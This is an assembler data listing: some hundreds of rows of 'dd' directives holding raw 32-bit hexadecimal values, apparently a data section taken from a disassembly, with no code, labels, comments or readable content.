		dd 3925AFFCh, 17004A4Ch, 0A6AB3DB0h, 7A788705h,	0DE19531Fh
		dd 4ABFEBC0h, 1608868h,	0FFCB355Fh, 7050B5DFh, 0F9303F31h
		dd 0D51398E1h, 1B260038h, 5870C5FCh, 5A7B011Dh,	0B0B2DA30h
		dd 32C4A6Eh, 0E20FF07h,	0C8934710h, 0C1A842EBh,	0CB0E4CB5h
		dd 40A6EE81h, 80977819h, 0F8DF0A98h, 3B4E55Ch, 0ED7188B9h
		dd 30C05EE8h, 0F705083Ch, 30C8A524h, 2261B200h,	78818CF9h
		dd 78F5079Ch, 0C05503F8h, 9ACB2E91h, 8D994500h,	56974735h
		dd 5FEB0090h, 673CE663h, 0C70C338Fh, 705ED962h,	4DFD00F6h
		dd 3D45C837h, 0F800AB4Ah, 0B966BD3Ah, 0D64B14h,	0DEFB6F33h
		dd 4AE07A8h, 5D486400h,	6D9220C6h, 0FE1701CEh, 757BDE08h
		dd 95A440BEh, 56036460h, 4FC772CBh, 0C3A98813h,	79FC00CDh
		dd 39920AE3h, 697687E5h, 0D0149D14h, 288B3DDDh,	3200A0FBh
		dd 0D1EA561h, 77795E2h,	4B63F553h, 0DB0EC09Bh, 0B501BE40h
		dd 0D85076D5h, 37F2C81h, 0F70635E4h, 7712D83Ch,	26C53901h
		dd 5CC1FB66h, 54A3820h,	0ADE07723h, 0EBA380D6h,	0CE002B99h
		dd 0AB55C72Dh, 0F4AA6452h, 3A54130Ah, 0DB7B00ADh, 62712918h
		dd 2C2A900h, 0F65533AAh, 0AEC30067h, 2A518163h,	5300FB8Fh
		dd 1CCDFF79h, 0E6E1C8h,	3C809C61h, 0EAE53AB4h, 812BE338h
		dd 43D8EEA8h, 0D0D0B66Ch, 39687C07h, 0D4018E35h, 649F12C3h
		dd 0DB28808Bh, 6894E4A2h, 551100D1h, 762AF819h,	0F70718C3h
		dd 16B8EB88h, 70809FD0h, 8C2100E3h, 0ED63D6C1h,	5F002977h
		dd 0C7E5DD09h, 665D83h,	0DFAA2587h, 0B2AB617Ah,	0D2A43Ch
		dd 2D44B055h, 861385h, 2B1EC559h, 4767DC80h, 8057433Eh
		dd 5C85530h, 4AFDCCh, 0CFA764A9h, 4132AC7Bh, 0B8A29100h
		dd 0DD832BD5h, 77C0030h, 47BA4201h, 0E600AB45h,	2CBE0EA2h
		dd 0EA2AE8DFh, 637200FEh, 741C4EE1h, 0F3003283h, 0BFA27BD4h
		dd 31EE96Dh, 0FED15BFDh, 0DAA05653h, 210020F6h,	0EF2208A0h
		dd 760910AEh, 0EF845C3Fh, 571ECF00h, 433A283Ch,	6960480Eh
		dd 32ED0005h, 0EB3DDB1h, 0D231075Ah, 0B4708AFFh, 0C687009Ch
		dd 0DB087929h, 8565D100h, 4883E65Dh, 4BC9004Eh,	53EE4A25h
		dd 23000D0Bh, 82F21B08h, 0ADC094h, 0F5693FEFh, 7343CEC2h
		dd 41465B00h, 0CC04D3B1h, 8A936018h, 85F9A2Bh, 57F8FD4Fh
		dd 28E17500h, 81BFB52Ah, 0B2CBEC00h, 989B3F16h,	0D5E6006Eh
		dd 0EA61FDC1h, 153F2A31h, 0B61080B7h, 0CCA351D6h, 81E262h
		dd 3DE0ACE6h, 2F6D58ADh, 0B1BB63Ah, 116D385h, 1781835Fh
		dd 5D0EF8h, 0F3AD138Eh,	12CC7298h, 5E25E207h, 30808886h
		dd 2F8D3Fh, 9870627Eh, 94469085h, 17876000h, 77A364D9h
		dd 0BFAE0C03h, 96199578h, 97803D00h, 3F46B57Ch,	0F667069Ch
		dd 0B01491BBh, 0BAB68B07h, 0BF608263h, 5C21A98Fh, 6F0086CEh
		dd 4099017Ch, 7009A23h,	34668357h, 285D5Ch, 0A34E69ABh
		dd 0BA80586Bh, 80FA6838h, 70244320h, 3AD623A9h,	8680FCCFh
		dd 0E5E33403h, 6003816h, 0CC46693Dh, 414A7Bh, 82A0C187h
		dd 4E016B8Dh, 970FC678h, 0E72A4798h, 30800466h,	98F6DDA6h
		dd 27A10321h, 4B3368C6h, 237D1EF8h, 88809900h, 8A2B5C3Fh
		dd 9C67973h, 871C28B5h,	87A1BB87h, 926CD0AEh, 23012991h
		dd 0B7B01561h, 0BACCAC5Ah, 6E7F14A4h, 8E28B2B4h, 0DB7A01C8h
		dd 0A51ACEADh, 3489CC51h, 0BD793Ch, 8A949164h, 0A9BFFAh
		dd 23B5C407h, 0AF63C27Fh, 0E3B60200h, 201292E7h, 7F83CAEh
		dd 0AD8CD087h, 0B826F004h, 0AA0FD568h, 8082F3BCh, 31DC46D8h
		dd 0D0E454h, 0B566E49Ch, 6CF3B2Eh, 37986F07h, 9BE0BDC5h
		dd 7B54CCh, 886DF20Dh, 641F5D93h, 11633500h, 19DEB71Dh
		dd 3B8000C8h, 0CB2DAC56h, 40007A67h, 30F55F4Dh,	797ED3CCh
		dd 0FBE100B4h, 1C075E3Ah, 7A019F9Dh, 9572B96h, 0B8E3B712h
		dd 65A8D6Ah, 23342198h,	160E60A5h, 98ABC992h, 3B23670h
		dd 522CA084h, 47A0B587h, 10A0A595h, 0A6023F32h,	0BF8BD46Eh
		dd 0BB1CC093h, 17E800C1h, 8AA39C11h, 0F2006761h, 0A62F188Eh
		dd 6BEFD7h, 2C402B72h, 0B658C949h, 0E09A78CEh, 61A492CCh
		dd 7C61C0ACh, 2DE84CE3h, 6B84BA07h, 9B908BDCh, 927BEADh
		dd 0C1EDAF2Bh, 0C0BD0304h, 84B6BF9Dh, 2A32A306h, 3A9092A5h
		dd 0E48993BAh, 0D0A1E86Bh, 50617294h, 487CE7A8h, 9645F400h
		dd 0C4169C35h, 0FE73EEh, 8921EDF2h, 0B498E308h,	519AC800h
		dd 9EAAF3Ch, 0C6320016h, 75CDE796h, 8A00E4B5h, 0BB99D994h
		dd 7C971AAAh, 0A9D03EEDh, 5A62F700h, 0EE7D2AEAh, 18703Bh
		dd 969ACC2Dh, 14B1E4Eh,	0FD59CF81h, 0C5F3FA77h,	4D2ACC5Eh
		dd 1874041Eh, 80B8CD8Eh, 0C25F2CE2h, 55D41CA9h,	29D40CCh
		dd 8991A5BBh, 455DC000h, 0A0F997C9h, 669C28ACh,	12602C5h
		dd 3C602C80h, 4696AC90h, 4B58647Fh, 0D93D705Bh,	500C94Ah
		dd 0F130AE0Ah, 2038716h, 0E95C8EC4h, 98DC6C96h,	271303C8h
		dd 83E06BEDh, 0B4C75000h, 34888433h, 85A60EF8h,	7AC3328Bh
		dd 64D02E38h, 0FE04A58Eh, 339B46E7h, 0D12417C0h, 56DE0A3Bh
		dd 81CCEF38h, 96A32030h, 0D52080A0h, 0CE99E2D7h, 53760CA9h
		dd 11A0173Bh, 4E358000h, 2E93A2FBh, 7B1E3E5Ch, 7CCA7F00h
		dd 0B13CAA5Fh, 3F8EE9C0h, 243BA0F1h, 6C2CC6h, 4F561031h
		dd 1D000CE0h, 0D72D17BEh, 1A585h, 88D2DB03h, 369D6037h
		dd 0F0A13Eh, 2DF92502h,	78D8BBB7h, 6BBA0067h, 0B693352Eh
		dd 6E038789h, 0E6502AA0h, 39A9A39Fh, 0B7841021h, 0ABE2F9B2h
		dd 93E151C0h, 27CD1A9Fh, 77C06144h, 7907BAD5h, 7742402Eh
		dd 8B104Ch, 0F093C18Fh,	88A661DCh, 0A086466h, 69C80021h
		dd 0C353AAC2h, 7D0462D6h, 0FC0C3C3Dh, 41F06B47h, 8720D397h
		dd 7D838E11h, 87191CE0h, 43A71DFFh, 0D4490C86h,	4C006320h
		dd 22FB767Dh, 1BAA7Ah, 1ECAF727h, 70AF5FECh, 72D5DA0Eh
		dd 8887EA34h, 80277A00h, 0F8A1317Ch, 4D361554h,	551094FAh
		dd 0B6D8C061h, 43F6881Eh, 0F1229Fh, 0F5B6904Bh,	719EC075h
		dd 18A80418h, 0C09DD0C9h, 2A8216A1h, 9207C93Ch,	0A3C34095h
		dd 63C1EC13h, 2A0A8070h, 0FF009971h, 0A95BA274h, 3A122F0h
		dd 0E7F87FF6h, 7AD83D5Dh, 0E4EB6C46h, 0AD00F21Fh, 0E85CC605h
		dd 0F441CB32h, 8E343B52h, 9E61D004h, 0A0D8815Dh, 5B3670E9h
		dd 400D9E2h, 8A8DD69Dh,	709DE02h, 0E452D0DAh, 0D9F3904Bh
		dd 48E6EAB7h, 707F3100h, 651CFFF6h, 7D803CADh, 0F0C0BA02h
		dd 9E803B1Ah, 0CFF1E93Ch, 0AE784500h, 771E625h,	6B9F006Ah
		dd 9163045Ah, 86009CB2h, 0C3F7BEFBh, 282613h, 0CCB8F94Bh
		dd 0D3B05ECDh, 1BEE3E1Ch
		dd 0A279CB00h, 0B6D1D9h, 19BA755Ch, 57F2F341h, 785DB03Eh
		dd 803D4038h, 0B3E5862Ah, 7D060778h, 0B1810023h, 4DCD3C7Bh
		dd 9900BCD9h, 74475EBFh, 0A264BEh, 0F32FE10Eh, 44337CC3h
		dd 0CC584200h, 57162AB4h, 17210034h, 0FC89CB20h, 7500AA76h
		dd 85587C02h, 22F15Eh, 0A44A8138h, 4C23C59Fh, 0E7FBE400h
		dd 0AEC8D57Ah, 61A603D6h, 20A8C00Ch, 6F170790h,	0E5446E00h
		dd 7F0BC7F5h, 0A7D00F09h, 6080B445h, 31BC1157h,	5EDF9F01h
		dd 777AAB44h, 50FD4180h, 21B1025h, 0D1E71900h, 63D4E964h
		dd 0A1B20129h, 845EE0ECh, 51453096h, 248F0C00h,	148C3952h
		dd 88643D30h, 1F29B80h,	0E572DA45h, 0BBD4921Fh,	0FAF64A06h
		dd 41DCFF50h, 72930055h, 7F525DDEh, 4005997h, 4421B2CDh
		dd 25179F7h, 0ECA43558h, 12C0E764h, 0DB001250h,	90D5FCABh
		dd 48192559h, 1400887Ah, 55150649h, 90FC923h, 6BD2AC96h
		dd 86C3006Fh, 48CF78EAh, 8B00B5CAh, 4559B020h, 43009908h
		dd 0A6A5A05Ah, 0ABBE8h,	0D036AE4Bh, 6FBEED20h, 73D24624h
		dd 769C7400h, 0ED69BFCh, 51CE8D4Ch, 0AAB27140h,	78006E43h
		dd 423349B9h, 0F6F2B446h, 0F1E6CCh, 3A91C6B0h, 5A6DDEA4h
		dd 0FD359700h, 0F89E80FCh, 0FDF3F14h, 3804B3Ah,	0F0D9C89Ch
		dd 0C23EA548h, 62928FA3h, 1DDF01B4h, 96F5EB2Dh,	1C53EC0h
		dd 0D103236Fh, 40FDC48Bh, 0CFF90F88h, 0C3CAF600h, 672A3410h
		dd 21C90054h, 0A74DD696h, 0BB009E5Ch, 0CB72B7E1h, 0F7FBF2h
		dd 829BDA1Bh, 3839BDB9h, 0A0FCA802h, 805E7D61h,	0F7F3F9A4h
		dd 0D2B71D7Ah, 0D8A87Fh, 191A7C27h, 7B99FC67h, 0D1055F02h
		dd 0A58EB586h, 8C5DC8E4h, 105CA540h, 0F1DFF9B6h, 8F2AE840h
		dd 451D004Bh, 0BBDB9F84h, 6F001A52h, 0BD7AA7F0h, 8B51E8h
		dd 0FB23C026h, 39EA80B3h, 0D638FA2Eh, 5E62070Eh, 87CC6C80h
		dd 0B88412h, 57B14769h,	48CEF54Fh, 86BFB307h, 90F0FDC8h
		dd 5047A756h, 0E1FCB4h,	3065EEC3h, 624B2979h, 0A6466C04h
		dd 8080E753h, 77494ACh,	10804276h, 9F1D12E0h, 41F294C0h
		dd 17AEF600h, 0FC50D5F8h, 0F57200EBh, 6DFBDBBDh, 0C814403Fh
		dd 80E231h, 0C45721D5h,	138C5EE4h, 0C4908ADh, 0ABE0E8DFh
		dd 8EFB5501h, 808322B8h, 72F900C7h, 2CEA43C4h, 0C318FBB2h
		dd 8AB94C54h, 489212F0h, 0A45400B1h, 0BC4F8D46h, 6408A100h
		dd 0F9AE79F2h, 0B9FA00F4h, 431F1A39h, 26014E58h, 0AD0A9656h
		dd 27C0D78Ch, 0E71700E9h, 8AEADAFFh, 3F0065FCh,	50C394ABh
		dd 2531B5h, 0B3824BE2h,	0BD18D7EEh, 22803F00h, 0F32B35A2h
		dd 0B11300E7h, 60D46CD2h, 3200CBEDh, 848223ADh,	7CE91CE5h
		dd 2EE6004Dh, 860A3569h, 273E3A14h, 49C98F81h, 0EEF9405Bh
		dd 7DFD08F5h, 766700DAh, 0EA09A394h, 0CA0035B4h, 49D25303h
		dd 0EE7B7FAh, 0E224F58Fh, 3EEA20E0h, 220275D7h,	0E52D9451h
		dd 42F660F0h, 82BCA096h, 1EDC3EF5h, 0B3D25600h,	0E7F65FBEh
		dd 95F95202h, 6057AD11h, 0EBA89Fh, 0D5F154E2h, 13D89B9Fh
		dd 0BF1FF900h, 2458611Dh, 0FB8801F4h, 0AC52D6B7h, 2B2AC83Eh
		dd 0AEC2BC00h, 0E82F4015h, 0D7D10058h, 6939C3D8h, 0A7EC3702h
		dd 0F9F4D077h, 0F700FF70h, 4E67C8CBh, 0EE993Dh,	9759077Bh
		dd 77B2B4DFh, 0EBC5A900h, 4C4BFCAh, 0C3C7676h, 90AAA263h
		dd 0CE1EBDD0h, 4242D64h, 9206A381h, 0C9F0456Bh,	1FEA00FEh
		dd 0D84C7728h, 7D71E22Fh, 44A54Ch, 0D3621286h, 6BAABCh
		dd 0B206947h, 0BB2BCD6Dh, 67971803h, 93C22FAh, 0AB707758h
		dd 3B657780h, 91009092h, 33E3FF76h, 12CB50D9h, 744286h
		dd 0C497B264h, 58C0B523h, 0F59EF9B9h, 71EE0059h, 6111EBD9h
		dd 9704A44Ch, 0DE8C443Fh, 9B909980h, 85951C5Ah,	0CA8C125h
		dd 417AEA7Fh, 204B0BBAh, 0E0075058h, 0F0BD5D21h, 0F836CC30h
		dd 523500C8h, 92D459EDh, 0C9F12B83h, 0C34F896h,	0B324B816h
		dd 7D287A00h, 29B2Dh, 81555171h, 0E8EB4003h, 2E7A7B39h
		dd 0D60E52B0h, 25690066h, 418555h, 5FB79388h, 60BFD3C5h
		dd 0D5954200h, 0C61EC1EBh, 331C0512h, 835F50E3h, 0D4A0AA89h
		dd 28017452h, 543EF0B0h, 312042CCh, 0DC3103D8h,	0F16FFC7Ah
		dd 0A5AF2FA8h, 3B18B91Dh, 7F305500h, 69A9E3h, 152220E6h
		dd 32F2345Bh, 75C73500h, 0CBCFBE92h, 72250055h,	8368E43Ch
		dd 0BD008481h, 65AF86BAh, 0C83B17h, 53E114A8h, 620DF77Ah
		dd 0F6394907h, 602EA98Ch, 5186243Fh, 46B2003Ch,	0BBEFAE9Fh
		dd 48003836h, 35B68084h, 56C79C1h, 0C0A1D692h, 5FDCC10Fh
		dd 0CD27F4BFh, 7E071800h, 0AD71FD1Bh, 0BD970C85h, 3C100FBCh
		dd 0C6288802h, 604957E5h, 0F5845B4h, 2B60C87Eh,	0D3A65943h
		dd 0EFC56AC0h, 46C65600h, 3D9C33E7h, 90A77866h,	55941E44h
		dd 2CD8801Dh, 61E82E10h, 0F8A13200h, 7639583Ch,	8FEB0971h
		dd 8403D61Bh, 61A0438Dh, 46029155h, 6BC65149h, 81356066h
		dd 2CFB3DF5h, 6C8BBC00h, 310A032Bh, 0C1BD0800h,	0E962DF80h
		dd 51850C99h, 0FCB086B4h, 68E16902h, 40617CB9h,	0C37334h
		dd 4B3AB46Eh, 89C63E42h, 0D35FCF3h, 500ACF3Ch, 450060D3h
		dd 246B3F5Eh, 0FEF32083h, 0A87B0016h, 62B9D23Ah, 53245433h
		dd 4E017F98h, 0AE7E857Ah, 1CBF9F0h, 368112A5h, 6401A3DEh
		dd 20C95094h, 0D8900705h, 0C6E36187h, 0DCFFA034h, 0F0D47C5Bh
		dd 0A66003A4h, 0E02CD3A9h, 0F21526A0h, 2B00F6FAh, 0FC800189h
		dd 9FE5DBh, 7D42285Eh, 873BFE2Ch, 7C2F9402h, 77D1A122h
		dd 8B2688F4h, 0DECBD802h, 824481BCh, 0A9F1AD33h, 67C0F0h
		dd 535DCC0Eh, 0F9ED10EBh, 0CDE37A00h, 0DE0A8161h, 0AA1CA8E7h
		dd 0D96231ADh, 0CCAC6AE0h, 0FC021AB6h, 0A3D42CDEh, 804762BEh
		dd 9665B09Eh, 7E5C01C8h, 0E785185Eh, 377870A3h,	2A772274h
		dd 65D1AF03h, 0C10DA2DBh, 39ECCDEAh, 1EF51D26h,	87E80038h
		dd 0D92C41AAh, 0A300B4B2h, 540A9A78h, 1524B31h,	0C998F24Dh
		dd 28FB2625h, 43550014h, 0C7F14296h, 6F87FE16h,	212018AEh
		dd 0CDD4A5FBh, 6050E360h, 0F2B0A2h, 0A827167Ch,	8440256Ch
		dd 7AF1CE67h, 578EDEB0h, 22E63D45h, 0BE121B3Ch,	7912EFh
		dd 66D7D0ABh, 0DC00F6A4h, 74E7DB9h, 2450BE9Fh, 3869A0h
		dd 94924F2Ah, 0A1C0E226h, 637D960Ah, 71D000FAh,	6D5239DEh
		dd 500E3F1h, 0C57C860Ch, 3B28FC47h, 0F3065B4h, 98E14839h
		dd 2FB34001h, 31AB0CDh,	4004EC93h, 0E1D062B8h, 0FBE23E10h
		dd 0C2484D04h, 0DD80C68Ch, 0FA353FE5h, 0D04307FEh, 0D0C33233h
		dd 0B71E96E9h, 0CC292600h, 56E42E4Bh, 43E6002Fh, 55417D2Bh
		dd 9F0348Dh, 0E33C2A78h, 0A6829DEBh, 0B5D37B06h, 75800011h
		dd 7AD478Bh, 0AE1D7D08h, 921809D7h, 0F06FE21h, 66B0328Bh
		dd 3ACF1103h, 24A15029h, 6E188C59h, 0B8934700h,	0F93863A5h
		dd 7202079Ch, 0E0332B6Ah, 17964C3Eh, 0E0825401h, 0C2134F4Bh
		dd 3D5C51C4h, 0F8C6B2Dh, 0E0504033h, 10AFE900h,	515D2BEEh
		dd 0AA3C0092h, 76D9E19Bh, 290021A9h, 679DDEC3h,	0F63287h
		dd 892DE523h, 9E06A2BAh, 0B4C47100h, 0A58FDA50h, 84EF0747h
		dd 5088BE83h, 6A4F0464h, 0BD113Ch, 961BD741h, 3E28B6Dh
		dd 3448C605h, 0C890FA85h, 0C105F3C7h, 26323CDAh, 0B3E48880h
		dd 0A37A004Ah, 90F9C869h, 0C5002ABDh, 851F2C88h, 0F37705h
		dd 156BCD8Dh, 41FE2194h, 0BF458302h, 0E0B4F131h, 0B974D2h
		dd 7D6CD9CBh, 0E5E94ABCh
		dd 41A8BD01h, 24FE029Fh, 0E5D1ED0h, 58096725h, 20BC2886h
		dd 0FD3A3900h, 55544F89h, 83D1003Bh, 430A7732h,	0DB00D759h
		dd 1CA49272h, 60E9FA96h, 9B6659DCh, 2B1C8627h, 197A891Fh
		dd 6A300658h, 335BE2E4h, 0E110FE56h, 0CFB028BBh, 0E80062C9h
		dd 6BECB184h, 6C6C6FF8h, 4DB889FFh, 0FD2F028Ch,	5F46A067h
		dd 0E108119h, 0B600FCE7h, 761D1F8Ah, 0C1CB4792h, 0AA2F7870h
		dd 57B08082h, 2E6C35FFh, 0E138C0FEh, 7043844Fh,	3D29651Eh
		dd 8CF80D4Eh, 0E821A7h,	627A8AD8h, 792CF44Ah, 0A63BF200h
		dd 0A9B644D7h, 0D68614DCh, 83ECB46Fh, 4C5C3A8Ch, 0C8E4A100h
		dd 0E1D6DA82h, 7C5B840Ch, 30CAB02Fh, 0FF309890h, 53988C3Fh
		dd 8F7B6480h, 76295C60h, 2C67EDB9h, 815533h, 0CC7A5875h
		dd 0E10E8E8Dh, 0E0C3C731h, 0EA20ED12h, 63250EA6h, 5740D77Ch
		dd 18914038h, 0C2DF2800h, 0FB5B50CBh, 0F57300D1h, 68CE0DDh
		dd 0C40020EBh, 80E840DFh, 688184h, 0B282D9C9h, 0FC271CDDh
		dd 7E629E07h, 0C8B063BBh, 7A6828h, 0FA4D1F43h, 0A8538FDFh
		dd 308C6200h, 2D34CBE0h, 2AAF00E6h, 521B27ABh, 4900E732h
		dd 0A9FFE4F2h, 9B6CD6h,	672E6AEAh, 24875576h, 0B4F1B0Dh
		dd 0CEE03026h, 0D3A1677h, 0A801BEE6h, 0A4F95924h, 0E05B20h
		dd 569B057Dh, 6E778740h, 11AD7F00h, 0E967FE46h,	0A529006Ah
		dd 2EB62A03h, 4300888Ch, 0A9B99E57h, 121ABA4h, 0C37A3F6Ah
		dd 40AD6036h, 0BCF2EE0Ch, 580059EEh, 0B0D82E56h, 0C14C6C5Ch
		dd 0A176C8A0h, 3E608062h, 0AF2CA833h, 0DB5005Ch, 152E30E5h
		dd 0B40017F4h, 0C17A6AADh, 0F9BDBCh, 11B0BF1Bh,	4680C043h
		dd 0CDB9770Ch, 544822h,	165E1594h, 0C1FCD8BFh, 66012DFAh
		dd 0E4E66D7Ah, 0F5F882F8h, 50A500BEh, 5E4B6943h, 0C200D4FDh
		dd 0E3926315h, 0C61657EDh, 8020110h, 3EA45E00h,	49431E42h
		dd 772079EFh, 6D68C7FFh, 2C4010E5h, 87004F93h, 0E28E0755h
		dd 7D5D1DA1h, 5E810172h, 15A583E1h, 0DE99D023h,	0A1FEA800h
		dd 1627345Ah, 7E5800D9h, 0B5D71D24h, 0C8002184h, 57B81A87h
		dd 7D3C6CCCh, 0F520061h, 624AF016h, 740053CBh, 6D4D908Dh
		dd 0B80D4605h, 6BA9308Ah, 5F74EA99h, 2F8AC8C7h,	8084C572h
		dd 3ECA0D98h, 2048C16Fh, 0F4FC01E6h, 9E004B7Eh,	0BC3A95FFh
		dd 3D7A70h, 5F8A715Ch, 0C34825E8h, 7EDF95Ch, 9EC2BB14h
		dd 0EEA06587h, 105C93Ah, 0A684D904h, 0A88C872Dh, 92005B09h
		dd 4FEE93Ah, 9F651Ch, 0EA451309h, 83215B91h, 0C01DE079h
		dd 6E41A2E7h, 6107E901h, 3A7530h, 0C6EE0D29h, 499963F6h
		dd 0A63C650Eh, 0EB288656h, 0B4183B20h, 6B4A0400h, 0C98E248Fh
		dd 4BE9EC2Eh, 4BA88B00h, 8C0F9Ah, 35BE54ACh, 8090089Ch
		dd 0E42E006h, 0C4A077BDh, 30C4C7D0h, 1018047Eh,	0C8C60E84h
		dd 7628800Ah, 0F3E11104h, 56441C07h, 0DEB3E552h, 0B84000C2h
		dd 0A03E2D74h, 0FC00338Dh, 7F601169h, 0B924C9h,	0AD995E58h
		dd 715F01CDh, 2979F8D8h, 3B602663h, 0E1F00F5Fh,	0AA5F2E81h
		dd 9B28FA4h, 95F5AFF8h,	184B3F94h, 0FA10DEC0h, 0B8E2002Bh
		dd 2DAD2383h, 3D753F4Fh, 0CBAC80Fh, 636420CCh, 197C88h
		dd 37915023h, 0F3A4CE73h, 0F505E800h, 0A07FCA01h, 825D09CCh
		dd 9D74A6B4h, 33B87200h, 132D97C9h, 7346ACh, 4E9E753Bh
		dd 600F8D09h, 0A365CD0Eh, 0C341164Dh, 0B90800FBh, 278D7230h
		dd 0CE0FCDDFh, 1C221F06h, 0D1238600h, 380776E4h, 621C93B7h
		dd 0F1A001ABh, 0F706824Ah, 0BC4F2800h, 99D1F0FCh, 0FED40064h
		dd 27D3593Ch, 8B00B409h, 18C13530h, 31427815h, 0BF6063A1h
		dd 0B569964Ch, 2D205203h, 0BD32A08Eh, 78273DFh,	9F5A13FDh
		dd 638C2148h, 0E7BC43E2h, 800D170h, 0D3A4C154h,	6CAF71C9h
		dd 0D9F86027h, 0CD03048Ch, 62F5465Ch, 0CB4022B7h, 99562D00h
		dd 39E16722h, 2506D1D3h, 0E377C430h, 0A701332Eh, 0ED09F030h
		dd 8CBC00ECh, 77AFCDCAh, 0AC742E22h, 20321A30h,	0BDF40Fh
		dd 0C839B48Dh, 9851CED5h, 0F0A46407h, 0C9D0F932h, 0C19D9BC2h
		dd 9C4D9E10h, 0CDF7FCEAh, 6F5CC3FCh, 0E9DF03CEh, 0C8631725h
		dd 5DDED0h, 0B65610ECh,	9A7A8447h, 629C6E07h, 0D103F6A0h
		dd 2476C09Dh, 0ECEA0095h, 0AEEFC432h, 0A374A569h, 54984401h
		dd 0C033A2F0h, 2CC5B260h, 8FAFE1h, 157977EFh, 460C1B20h
		dd 18470398h, 78A90359h, 0C41F661Ch, 53180FC0h,	1558D600h
		dd 0E16C9850h, 0C052E85Bh, 4BA0ED21h, 7273DA05h, 12E8870Eh
		dd 0E2D84074h, 18F8853Ch, 98CAE0BCh, 0E50306C2h, 0E9454E35h
		dd 70A06176h, 8675E31h,	0D74B08ABh, 26706D58h, 19480BB3h
		dd 0D081DA32h, 93847AE8h, 14062370h, 0E1AA38h, 8658210Eh
		dd 0BB119125h, 8CC2078h, 1EF4817h, 135F94D0h, 0E093A1FFh
		dd 2501B357h, 0F5E0BB36h, 4FF8622Fh, 60431F3Eh,	2273C090h
		dd 0E2513179h, 0C04EE00Eh, 5BD12396h, 6C38E07Fh, 0D42F1F30h
		dd 78BC0005h, 13F07CA0h, 0AD00C876h, 3D3E0604h,	182C66h
		dd 99DA7719h, 0D8AB23EAh, 438F5800h, 0A0017E27h, 4DB21917h
		dd 0FC7840A3h, 197CF631h, 0CF4A8100h, 0C1999E3Ch, 40D50311h
		dd 66330E5Ch, 0FF2262D8h, 98BF0800h, 32066B1Fh,	4DB40077h
		dd 0BA8C17BEh, 0AC5C76E6h, 223903D5h, 0D36B2481h, 0E4280011h
		dd 5B2B7D69h, 6E003F9Eh, 4E6A4B87h, 1EFD148Bh, 1CB479h
		dd 0EBC623A6h, 0B004174h, 20B927A9h, 0C38085Ch,	31BF13Bh
		dd 8900AAF8h, 2133E114h, 0F04BB2h, 70FE8819h, 1D1CFD06h
		dd 748FFB01h, 82C62B46h, 53EBF8F7h, 0CAE2F7h, 6D8EB59Ch
		dd 1B36473Bh, 0EA25DF00h, 0AA7D4584h, 4D5909FDh, 65852BD6h
		dd 0E6BE80CBh, 71007C44h, 0E55A9DBDh, 37951913h, 903066D1h
		dd 1136850Eh, 2A524103h, 8FDA99C0h, 29A56760h, 1B250010h
		dd 16135A2Fh, 0DB0037E4h, 0F3B0184Fh, 0F8E34971h, 0FDDD00A9h
		dd 102FCAC4h, 450E09C9h, 536B5Ch, 42DEE985h, 0D18E17E1h
		dd 9F1A00ADh, 7C04131Ch, 305DA83Eh, 4C8788A9h, 0A6170308h
		dd 0A50D51B6h, 5EE056D3h, 0EE07D49Fh, 0C50B9971h, 893B4E30h
		dd 0A718C067h, 0D825BF48h, 5C813Fh, 2809ADB8h, 18240E31h
		dd 0E94C5236h, 0A93EEB1Bh, 0C0B280E4h, 0EC8D08ACh, 381D1EEDh
		dd 152146D7h, 9D00596Ah, 26BF753Fh, 3059C95Eh, 0A5182430h
		dd 0BC7C9352h, 0ED287300h, 0A4775D0Dh, 7E730Ah,	11EE032Dh
		dd 193E9D46h, 66186301h, 8AAED2A3h, 511FB480h, 0D92FB4B1h
		dd 503E9BF8h, 73403BFh,	90260111h, 623D81h, 1718CB36h
		dd 2F39F7CAh, 5E08C367h, 42200Ch, 6D439CF0h, 4DFEA749h
		dd 38F8E200h, 0EF854E7Dh, 4049DEA3h, 56486260h,	6E00088Bh
		dd 85139DC5h, 0EEA7E20h, 425DA0DDh, 8B3B82E0h, 0C6F4B4Ah
		dd 7C610038h, 6991EA1h,	582744EFh, 0B230081Ah, 84CA208Ah
		dd 6F5400A1h, 0D1669307h, 0C00014E5h, 0F5976A61h, 0CC9BC1AFh
		dd 1308EE8h, 0CD1C93Ah,	18B7DD7Fh, 20B1DDBh, 0ED3BC195h
		dd 19DE11Fh, 0ACF8F2AEh, 0D0A0C7ECh, 0B86210A7h, 38034064h
		dd 0FA0B8207h, 0A800CD31h, 12548F18h, 0E2210798h, 35484671h
		dd 7ED300A0h, 4E683BCCh, 55585900h, 5E5BB808h, 0DCFF005Ch
		dd 0C9A1D9Ch, 0D100A91Fh, 6FCD6918h, 0F2BE33h, 0D07B50BDh
		dd 0F0E8930Bh, 4B00E2EAh, 0F675887Eh, 0DBA557h,	7883D937h
		dd 0DA9DA41Dh, 67872200h, 1EF56B2Ch, 0CB4900CCh, 6BC32B1h
		dd 680060D5h, 1FBB1A02h
		dd 1F40AC5h, 5771BD27h,	0F4FEEF87h, 78003BBAh, 52C690DBh
		dd 6E8C16h, 44942468h, 0D46A26Ch, 0C1EE3Eh, 92105A1h, 6A5C37h
		dd 0CFF29B26h, 1248B82Bh, 3866C601h, 0B2393F8Eh, 386ABACCh
		dd 0DC80E8C1h, 6DB1D4ABh, 0F009DA9h, 0CC23E283h, 0A139D8h
		dd 0EC7F4EE6h, 8AE8F9D0h, 7B1BFB01h, 3FE27C52h,	7C0A8E8h
		dd 0E1091076h, 5FCCF328h, 0B3818F80h, 4B00CE77h, 0E20FBBCBh
		dd 93D883h, 18610333h, 0C4FE7473h, 8D3CAC07h, 5270C572h
		dd 4C91AEBEh, 0B3005261h, 6B17C075h, 473E22D1h,	0B200032h
		dd 7AEC5411h, 0AFC403C9h, 6A424E08h, 214B2100h,	2D66D4D3h
		dd 80183FAEh, 0FCDAD1B0h, 5A306489h, 0DEDD28F5h, 833E00C7h
		dd 385467F3h, 9D001AA4h, 1DDBDC84h, 3C8149D1h, 1305EB21h
		dd 0AC1F2Bh, 0BA16AFAAh, 3005217h, 8E97AA68h, 3F855632h
		dd 0C009D24h, 875BB2E5h, 0E725D73h, 4C006DFAh, 0DD4A1867h
		dd 759323h, 2E3725E1h, 48730B8Ch, 0AB3AFC1Ch, 5327B40h
		dd 1D9A80EBh, 835CFF8Ah, 0B6EE9D36h, 44D806E0h,	1F5EE300h
		dd 81FDABD0h, 0D36A009Ch, 3855259Dh, 2E7104CCh,	9F127916h
		dd 0B063C700h, 1C0C2473h, 0F1586Ah, 29791C87h, 1901DF54h
		dd 14FAD640h, 0D9C49A76h, 40B8A4CCh, 24C4DB2h, 73007348h
		dd 4BFEE988h, 1C983359h, 0C082F4F5h, 17797158h,	0A900A097h
